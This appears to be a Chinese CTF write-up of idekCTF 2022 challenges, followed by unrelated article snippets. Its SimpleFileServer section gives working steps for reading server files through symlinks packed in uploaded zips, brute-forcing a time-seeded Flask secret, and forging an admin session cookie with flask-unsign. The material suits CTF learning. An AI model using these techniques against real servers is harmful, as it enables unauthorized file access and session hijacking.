idekCTF 2022 比赛复现
Readme
首先 []byte 是 go 语言里面的一个索引,比如:
package mainimport "fmt"func main() {var str string = "hello"var randomData []byte = []byte(str)fmt.Println(randomData[0:]) //[104 101 108 108 111]
}
上面这串代码会从下标从 0 开始一直到最后的字符串转换为十进制数输出。
我们看一下源码,开头的几段告诉我们设置了一个哈希密码,然后把这个密码复制到 randomData 数组的 12625 位置后面。

接着设置了一个结构体,json 形式,属性名 是 Orders,Orders 是一个整数数组,从 randomData 中提取指定数量的数据,按顺序检索完成后,检索32个字节,如果与密码哈希匹配,则会得到一个标志,也就是说,如果能够按顺序提取12625 字节就好了,但由于数量限制(最大 10),这是不可能的。


这边有位大佬说:
由于 randomData 有一个固定的种子,所以总是出现相同的字节串来检查缓冲区的查找进度。
{“orders”:[100,1]}如果你这样尝试,101 字节的寻道应该前进,但它前进了 4097 字节。(不知道为啥)
{“orders”:[100,100,1]} 然后前进8193字节。 所以如果指定 100,可以前进 4096 个字节。 我们要前进
12625 个字节,所以 4096 3=12288 还剩 337 个字节。99 3=297 还剩下 40 个字节。
最后就是:
{"orders":[100,100,100,99,99,99,40]}

SimpleFileServer
知识点:软连接(symlink),伪目录(proc),cookie 伪造,时间戳(时区不同)
下载源码,审计后可以发现重要的就是几个地方。
flag 需要 admin 权限。

我们可以伪造 admin 的 cookie 来登录获取 flag,在 app.py 中可以看到密钥在环境变量里面。

在 config.py 中可以看出密钥的生成,它还提示我们 SECRET_OFFSET 是编辑后的,那么我们还要找一下真正的 config.py。

在 app.py 中可以发现它接收一个压缩包并直接解压,没有任何处理,那么我们是不是可以通过软连接的形式来读取文件,那么目录是什么呢?可以通过 /proc(虚拟文件系统)来读取真正的 config.py。

两条命令,然后把生成的 zip 上传上去并且访问 /uploads/ID/succ 就可以得到真正的文件了。
ln -s /proc/self/cwd/config.py succ
zip --symlinks succ.zip succ

但密钥的构造里面还有一个未知的就是服务其的启动时间,这个我们可以读日志,Dockerfile 里面也告诉了我们日志的位置。

同样的两条命令。
ln -s /tmp/server.log succ
zip --symlinks succ.zip succ
得到时间,我们在把它转换成时间戳的格式,但是这边有个坑,这是英国的时间,不是中国的所以要在其基础上加八个小时,最后再转换成时间戳。

如下:

前后 1 秒钟之间的所有时间戳列出来,拿我们注册的 cookie 验证一个哪个正确。
import random
import os
import timefor d in range(-1000,1000):random.seed((1673910802 - 67198624) *1000 + d)print("".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", ""))
flask-unsign -c "eyJhZG1pbiI6ZmFsc2UsInVpZCI6InN1Y2MifQ.Y8YgQg.ylUP0n8MGFt8TSh3pOYGw6cDRIE" --unsign --wordlist test.txt --no-literal-eval

得到 key 我们就可以伪造 admin 了。
flask-unsign --sign --secret 074cce10940b886e3089f27a878577cd --cookie "{'admin': True, 'uid': 'succ'}"

最后拿上伪造的 cookie 访问 flag 就可以了。

相关文章:
idekCTF 2022 比赛复现
Readme 首先 []byte 是 go 语言里面的一个索引,比如: package mainimport "fmt"func main() {var str string "hello"var randomData []byte []byte(str)fmt.Println(randomData[0:]) //[104 101 108 108 111] }上面这串代码会从…...
jvm的类加载过程
加载 通过一个类的全限定名获取定义此类的二进制字节流将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构在内存中生成一个代表这个类的java.lang.Class对象,作为方法区这个类的各种数据的访问入口链接 验证 验证内容的合法性准备 把方法区的静态变量初…...
VOC数据增强与调整大小
数据增强是针对数据集图像数量太少所采取的一种方法。 博主在实验过程中,使用自己的数据集时发现其数据量过少,只有280张,因此便想到使用数据增强的方式来获取更多的图像信息。对于图像数据,我们可以采用旋转等操作来获取更多的图…...
Linux 安装jenkins和jdk11
Linux 安装jenkins和jdk111. Install Jdk112. Jenkins Install2.1 Install Jenkins2.2 Start2.3 Error3.Awakening1.1 Big Data -- Postgres4. Awakening1. Install Jdk11 安装jdk11 sudo yum install fontconfig java-11-openjdk 2. Jenkins Install 2.1 Install Jenkins 下…...
Pandas——Series操作【建议收藏】
pandas——Series操作 作者:AOAIYI 创作不易,觉得文章不错或能帮助到你学习,可以点赞收藏评论哦 文章目录pandas——Series操作一、实验目的二、实验原理三、实验环境四、实验内容五、实验步骤1.创建Series2.从具体位置的Series中访问数据3.使…...
JUC并发编程Ⅰ -- Java中的线程
文章目录线程与进程并行与并发进程与线程应用应用之异步调用应用之提高效率线程的创建方法一:通过继承Thread类创建方法二:使用Runnable配合Thread方法三:使用FutureTask与Thread结合创建查看进程和线程的方法线程运行的原理栈与栈帧线程上下…...
基于vue-admin-element开发后台管理系统【技术点整理】
一、Vue点击跳转外部链接 点击重新打开一个页面窗口,不覆盖当前的页面 window.open(https://www.baidu.com,"_blank")"_blank" 新打开一个窗口"_self" 覆盖当前的窗口例如:导入用户模板下载 templateDownload() {wi…...
【C语言学习笔记】:通讯录管理系统
系统中需要实现的功能如下: ✿ 添加联系人:向通讯录中添加新人,信息包括(姓名、性别、年龄、联系电话、家庭住址)最多记录1000人 ✿ 显示联系人:显示通讯录中所有的联系人信息 ✿ 删除联系人:按…...
开关电源环路稳定性分析(10)——OPA和OTA型补偿器传递函数
大家好,这里是大话硬件。 在前面9讲的内容中将开关电源环路分析进行了梳理,我相信很多人即使都看完了,应该还是不会设计,而且还存在几个疑问。比如我随便举几个: 开关电源的带宽怎么设定?开关电源精度和什…...
2.11知识点整理(关于pycharm,python,pytorch,conda)
pycharm 设置anaconda环境: File -> Settings->选择左侧的project xxx再选择打开Project Interpreter页->选择add添加解释器->添加Anaconda中Python解释器(Anaconda安装目录下的python.exe) (选择existing environment ÿ…...
Linux服务器开发-2. Linux多进程开发
文章目录1. 进程概述1.1 程序概览1.2 进程概念1.3 单道、多道程序设计1.4 时间片1.5 并行与并发1.6 进程控制块(PCB)2. 进程的状态转换2.1 进程的状态2.2 进程相关命令查看进程实时显示进程动态杀死进程进程号和相关函数3. 进程的创建-fork函数3.1 进程创…...
Excel中缺失数据值的自动填充
目录简单方法示例1:数据满足线性趋势示例2:数据满足增长(指数)趋势参考实验做完处理数据,发现有一组数据因为设备中途出现问题缺失了,之前做过的数据也找不到,为了不影响后续处理,这里使用Excel插入缺失值。…...
路由器刷固件
前言 我希望可以远程访问我的电脑。但,我不希望电脑总是处于运行状态,因为那样比较费电。所以需要一个方案,能将睡眠/关机中的电脑唤醒。 方案一:选用智能插座,远程给电脑上电。电脑设置上电自启。但,这存…...
leetcode: Two Sum II - Input Array is Sorted
leetcode: Two Sum II - Input Array is Sorted1. 题目2. 解答3. 总结1. 题目 Given a 1-indexed array of integers numbers that is already sorted in non-decreasing order, find two numbers such that they add up to a specific target number. Let these two number…...
STL——list
一、list介绍及使用 1. list文档介绍 (1)list是可以在常数范围内,在任意位置进行插入、删除的序列式容器,并且该容器可以前后双向迭代。 (2)list的底层是带头结点的双向循环链表,其中每个元素…...
实战打靶集锦-004-My-Cmsms
**写在前面:**记录一次艰难曲折的打靶经历。 目录1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 WEB服务探查4.1.1 浏览器访问4.1.2 目录枚举4.1.3 控制台探查4.1.4 其他目录探查4.2 阶段小结5. 公共EXP搜索5.1 CMS搜索5.2 Apache搜索5.3 PHP搜索5.4 MySQL搜索5…...
c++代码实现我的世界(14)
c代码实现我的世界14|生成地貌兼工作台1前言的前言~前言生成地貌函数结构体struct dimao根据比例生成地貌工作台函数准备的东西写在最后前言的前言~ 实在对不起大家,有挺长时间没更新了。 前言 今天我们将写生成地形的函数与工作台前传的代码; 注&…...
RMQ--区间最值问题(在更)
RMQ(Range Minimum/Maximum Query)RMQ解决的问题ST算法 O(nlogn)线段树例题数列区间最大值最敏捷的机器人天才的记忆Frequent values总结(ST和线段树对比)RMQ解决的问题 RMQ是一个解决多个区间最值查询的算法,即区间最值查询&…...
一篇文章搞懂Cookie
目录 1 什么是Cookie 2 创建Cookie 3 浏览器查看Cookie 3.1 浏览器查看Cookie的第一种方式 3.2 浏览器查看Cookie的第二种方式 4 获取Cookie 5 修改Cookie 6 Cookie编码与解码 6.1 创建带中文Cookie 6.2 读取带中文Cookie 6.3 获取中文Cookie请求效果 6.4 解决创建和…...
深入解读.NET MAUI音乐播放器项目(二):播放内核
播放控制服务 IMusicControlService: 播放控制类,用于当前平台播放器对象的操作,对当前所播放曲目的暂停/播放,下一首/上一首,快进快退(寻迹),随机、单曲模式等功能的控制。 播放控制类包含一…...
避开这3个坑!用Solidworks链阵列做皮带挡板时90%人会犯的错误
避开这3个坑!用Solidworks链阵列做皮带挡板时90%人会犯的错误 在机械设计领域,Solidworks的链阵列功能是创建皮带挡板这类重复性结构的利器。但看似简单的操作背后,却隐藏着几个容易导致失败的陷阱。很多中级用户在使用链阵列功能时ÿ…...
GNSS数据处理效率翻倍:FileZilla+crx2rnx自动化脚本一键下载转换RINEX观测值
GNSS数据处理效率革命:构建全自动RINEX观测值处理流水线 凌晨三点的实验室里,李工程师盯着屏幕上堆积如山的.crx文件叹了口气——这已经是本周第三次通宵处理GNSS观测数据了。对于需要处理多站点、长时间序列GNSS数据的科研人员和工程师而言,…...
如何5步完成Unity游戏模组加载:MelonLoader终极指南
如何5步完成Unity游戏模组加载:MelonLoader终极指南 【免费下载链接】MelonLoader The Worlds First Universal Mod Loader for Unity Games compatible with both Il2Cpp and Mono 项目地址: https://gitcode.com/gh_mirrors/me/MelonLoader 想要为心爱的Un…...
轴承‘健康度’预测新思路:用LSTM处理振动信号,我对比了PyTorch和TensorFlow 2.x的实现差异
轴承健康预测实战:PyTorch与TensorFlow 2.x的LSTM实现深度对比 在工业设备维护领域,轴承作为旋转机械的核心部件,其健康状态直接影响整机运行安全。传统基于阈值的报警方式往往滞后于实际故障发生,而采用LSTM(长短期记…...
pyNastran:破解工程仿真困境的Python技术革新者
pyNastran:破解工程仿真困境的Python技术革新者 【免费下载链接】pyNastran A Python-based interface tool for Nastrans file formats 项目地址: https://gitcode.com/gh_mirrors/py/pyNastran 揭示行业痛点:有限元分析的三大核心挑战 现代工程…...
5分钟解决经典游戏兼容性问题:DDrawCompat完整使用指南
5分钟解决经典游戏兼容性问题:DDrawCompat完整使用指南 【免费下载链接】DDrawCompat DirectDraw and Direct3D 1-7 compatibility, performance and visual enhancements for Windows Vista, 7, 8, 10 and 11 项目地址: https://gitcode.com/gh_mirrors/dd/DDraw…...
3分钟完成Axure RP中文界面汉化:终极完整指南
3分钟完成Axure RP中文界面汉化:终极完整指南 【免费下载链接】axure-cn Chinese language file for Axure RP. Axure RP 简体中文语言包,不定期更新。支持 Axure 9、Axure 10。 项目地址: https://gitcode.com/gh_mirrors/ax/axure-cn 还在为Axu…...
Cadence导出Gerber文件保姆级教程:从Database Check到嘉立创预览,一步不落
Cadence导出Gerber文件全流程实战:从设计验证到生产准备的深度指南 第一次在Cadence Allegro中导出Gerber文件时,那种面对几十个参数选项的手足无措感我至今记忆犹新。作为电子设计自动化(EDA)领域的工业标准工具,Cadence的强大功能背后是复杂…...
熵值法实战避坑指南:从数据标准化到权重计算,新手最容易踩的3个雷
熵值法实战避坑指南:从数据标准化到权重计算,新手最容易踩的3个雷 第一次用熵值法做综合评价时,我盯着屏幕上几乎相同的权重值发愣——这和教科书上"差异越大权重越高"的描述完全不符。直到深夜排查才发现,原来在数据标…...
Wan2.2-I2V-A14B高性能实践:10核CPU+120GB内存协同优化视频推理稳定性
Wan2.2-I2V-A14B高性能实践:10核CPU120GB内存协同优化视频推理稳定性 1. 镜像概述与核心优势 Wan2.2-I2V-A14B是一款专为高性能文生视频任务优化的私有部署镜像,针对RTX 4090D 24GB显存显卡和10核CPU120GB内存配置进行了深度优化。这个镜像解决了视频生…...
